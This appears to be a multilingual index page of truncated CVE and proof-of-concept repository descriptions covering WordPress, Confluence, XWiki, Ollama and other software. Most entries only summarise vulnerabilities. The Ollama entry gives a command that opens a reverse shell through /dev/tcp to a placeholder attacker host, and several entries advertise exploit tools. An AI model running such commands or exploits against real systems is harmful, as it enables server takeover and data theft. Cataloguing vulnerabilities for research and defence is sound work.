cve-2014-0521

CVE-2014-0521 Adobe Reader 취약점 이 JavaScript 기반 Adobe Reader 취약점은 2014년 5월 13일에 출시된 버전 11.0.07 이전의 모든 플랫폼에서 실행되는 모든 버전의 Adobe Reader에 영향을 미칩니다. 이 버그는 Gábor Molnár에 의해 발견되었으며 2014년 3월 10일에 보고되었습니다. 보안 권고: CVE-2014-0521 Adobe Security Bulletin APSB14-15 발표 자료: Camp++ 2014 영어: 동영상곧 공개, 슬라이드: html, pd...

CVE-2026-88394

WookTeam v1.6.6 and before is vulnerable to a Directory Traversal. The project task export endpoint /api/project/task/export downloads an arbitrary file from the server when the data parameter is supplied with a crafted JSON payload. The file value inside the JSON is concatenated directly into...

wp2shell-Wordpress-TOWN

wp2shell 作成者 : lucifer0xf WordPress Core POC の未認証リモートコード実行 CVE-2026-63030 + CVE-2026-60137 wp2shell エクスプロイトは、WordPress コアの重大な脆弱性チェーンを利用します。REST API バッチルート混乱バグと WPQuery の SQL インジェクションを連鎖させ、脆弱な WordPress インストールで 未認証リモートコード実行 を実現します。 詳細| 情報 ---|--- CVE| CVE-2026-63030 REST バッチルート混乱 + CVE-2026-60137...

CVE-2024-10924

CVE-2024-10924 Really Simple Security（免费版、专业版和专业多站点版）9.0.0 – 9.1.1.1 – 身份验证绕过 描述 WordPress的Really Simple Security（免费版、专业版和专业多站点版）插件在9.0.0至9.1.1.1版本中存在身份验证绕过漏洞。这是因为双因素REST API操作中的'checkloginandgetuser'函数对用户检查错误处理不当。当“双因素认证”设置启用时（默认禁用），未经身份验证的攻击者可以利用此漏洞以站点上任何现有用户（如管理员）的身份登录。 CVSS...

USN-8870-1 aodh, watcher vulnerability

Chen YuXiang discovered that OpenStack Aodh did not correctly enforce project scoping in its alarm list API and that the OpenStack Watcher webhook trigger endpoint did not apply authorization. An attacker could possibly use this issue to access sensitive alarm metadata or trigger unauthorized...

USN-8870-1: OpenStack Aodh and Watcher vulnerability

Chen YuXiang discovered that OpenStack Aodh did not correctly enforce project scoping in its alarm list API and that the OpenStack Watcher webhook trigger endpoint did not apply authorization. An attacker could possibly use this issue to access sensitive alarm metadata or trigger unauthorized...

CVE-2024-10924

CVE-2024-10924용 POC Really Simple Plugins WordPress 플러그인9.0.09.1.1.1 버전 포함의 REST API에 있는 오류 처리 결함으로 인해, 이중 인증Two-Factor Authentication이 활성화된 경우 공격자가 인증을 우회하고 기존 사용자 또는 관리자 계정을 장악할 수 있습니다. 저는 좋은 사람이므로, 플러그인 9.1.1.1 버전도 함께 준비했습니다. 압축을 풀고 wp-content/plugins 폴더에 업로드하기만 하면 됩니다. 플러그인을 활성화하고 2FA를 활성화하는 ...

jenkinsci__docker-commons-plugin_CVE-2022-20617_1-17

Jenkins용 Docker Commons API 플러그인 다양한 Docker 관련 플러그인에 공통으로 사용되는 기능을 제공하는 API 플러그인입니다. 요약 Docker 이미지 및 컨테이너 지문fingerprint 관리를 위한 API Docker 레지스트리의 자격 증명 및 위치 Docker 데몬일명 Docker Remote API의 자격 증명 및 위치 Docker CLI 클라이언트용 ToolInstallation 작업에서 Docker 이미지 관계를 가져오는 DockerImageExtractor 확장 지점 Docker 빌드에서 ...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-컨플루언스 데이터센터 및 서버에서의 원격 코드 실행 취약점 이 취약점은 인증되지 않은 공격자가 취약한 컨플루언스 서버에서 임의의 코드를 원격으로 실행할 수 있게 합니다. 취약점은 컨플루언스 REST API에서 사용자 입력 값의 부적절한 검증으로 인해 발생합니다. 이를 통해 공격자는 컨플루언스 서버에 악성 코드를 주입할 수 있으며, 서버가 이를 실행하게 됩니다. 영향을 받는 버전 컨플루언스 데이터센터 = 8.9.0 8.8.0 = 컨플루언스 데이터센터 = 8.8.1 8.7.1 = 컨플루언스...

CVE-2020-10148

사용 방법 및 면책 조항 이 스크립트는 SolarWinds Orion API 원격 코드 실행 취약점 배치 탐지 스크립트입니다 CVE-2020-10148. 사용 방법: Python CVE-2020-10148.py urls.txt urls.txt 파일의 각 url은 한 줄씩이며, 취약점 주소는 vul.txt에 출력됩니다. 영향을 받는 버전: SolarWinds Orion 2020.2.1 HF 2 및 2019.4 HF 6 이전 버전이 이 취약점의 영향을 받습니다. 도구는 보안 담당자의 보안 테스트 용도로만 사용되며, 무단 검사로 인...

CVE-2025-24893-XWiki-RCE

📜 설명 XWiki 에 중대한 RCE 취약점 이 존재하며, 이를 통해 인증되지 않은 공격자 가 취약한 API 엔드포인트를 통해 임의의 시스템 명령을 실행할 수 있습니다. 악용 시 다음과 같은 결과가 발생할 수 있습니다: 전체 서버 장악 데이터 도난 또는 파괴 내부 네트워크로의 침투 💥 영향 영향을 받은 XWiki 인스턴스 및 기본 OS의 완전한 손상. 기밀성, 무결성 및 가용성 손실. 🛠 수정 / 완화 업그레이드 하여 최신 패치 버전으로 업데이트하십시오. 취약한 API 엔드포인트를 제한 하거나 비활성화하십시오. 악성 페이로드를...

CVE-2021-21975

영향을 받는 제품 VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、7.5.0 VMware Cloud Foundation 4.x、3.x vRealize Suite Lifecycle Manager 8.x 설명 2021년 3월 31일, VMware는 vmsa-2021-0004 위험 공지를 공식적으로 발표했습니다. 취약점 번호는 cve-2021-21975 및 cve-2021-21983이며, 취약점 등급은 고위험, 취약점 점수는 8.6입니다. CVE-2021-21975: vRealize...

CVE-2022-24112_POC

POC 수집된 POC CVE-2022-24112 춘추운경春秋云境:CVE-2022-24112 타겟 환경을 위해 두 개의 POC를 수정했습니다. M4xSec와 twseptian 두 분의 POC를 약간 수정하여 춘추운경 타겟에 맞췄습니다: 춘추운경:CVE-2022-24112: Apache Apisix는 미국 Apache 재단의 클라우드 네이티브 마이크로서비스 API 게이트웨이 서비스입니다. 이 소프트웨어는 OpenResty와 etcd를 기반으로 구현되며, 동적 라우팅 및 플러그인 핫 로딩 기능을 제공하여 마이크로서비스 아키텍처에서의...

wp2shell-poc

wp2shell 💙 プロジェクトのサポート 私の作業を評価していただける場合、USDT（TRC20）: TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN でプロジェクトのサポートを検討してください。 WordPress Core 事前認証 RCE チェーン wp2shell は、WordPress Core の事前認証脆弱性チェーンを組み合わせたセキュリティ研究用の概念実証（Proof-of-Concept）です： CVE-2026-63030 — REST API バッチルートの混乱 CVE-2026-60137 — WPQuery SQL インジェクション...

CVE-2020-27199

CVE-2020-27199 Magic Home Pro - 인증 우회 Magic Home Pro 모바일 애플리케이션에서 여러 취약점이 발견되었으며, 이 애플리케이션은 JadeHomic LED 스트립 RGB 키트와 인터페이스하는 데 사용됩니다. 이 중 가장 중요한 취약점은 인증 우회CVE-2020-27199 취약점으로, 궁극적으로 피해자의 전체 장치 그룹을 완전히 장악하고 제어할 수 있게 합니다. 아래는 최종 익스플로잇으로 이어지는 열거 단계와 열거 및 최종 익스플로잇을 수행하는 데 사용된 PoC 자료를 설명합니다. PoC Fil...

CVE-2025-8723

⚡️ Cloudflare Image Resizing 설명: 플러그인의 REST API 엔드포인트가 사용자를 인증하지 못하고 hookrestpredispatch 메서드에서 입력을 부적절하게 살균합니다. 이 결함으로 인해 공격자는 로그인 없이 악의적인 요청을 구성하여 임의의 PHP 코드를 주입하고 실행할 수 있습니다. 🛠 이 익스플로잇의 기능 전문적이고 모듈화된 확장 가능한 Python 스크립트 readme.txt 파일을 파싱하여 플러그인 취약점 자동 탐지 WAF 및 제한적인 환경을 위한 여러 우회 기술: 최소 및 고급 헤더 세트...

CVE-2020-13937

설명 Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha에는 인증 없이 Kylin의 구성 정보를 노출하는 하나의 restful api가 있습니다. 따라서 일부 기밀 정보 항목이 모든 사람에게...

CVE-2024-49328

CVE-2024-49328 WP REST API FNS ; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: POST Content-Length: 191...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux에서 실행해야 하며, 환경에 gcc가 필요합니다. golang을 설치하고 다음 명령을 실행하여 리버스 셸을 획득하십시오. go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 참고: 익스플로잇에는 몇 분이 걸릴 수 있으니 인내심을 가지고 기다려 주시기 바랍니다...

CVE-2023-5561-PoC

CVE-2023-5561-PoC WordPress는 REST API를 통해 검색 가능한 사용자 필드를 적절히 제한하지 않아, 인증되지 않은 공격자가 Oracle 스타일 공격을 통해 영향받은 웹사이트에 공개 게시물을 작성한 사용자의 이메일 주소를 알아낼 수 있습니다. 출처: https://wpscan.com/vulnerability/19380917-4c27-4095-abf1-eba6f913b441/...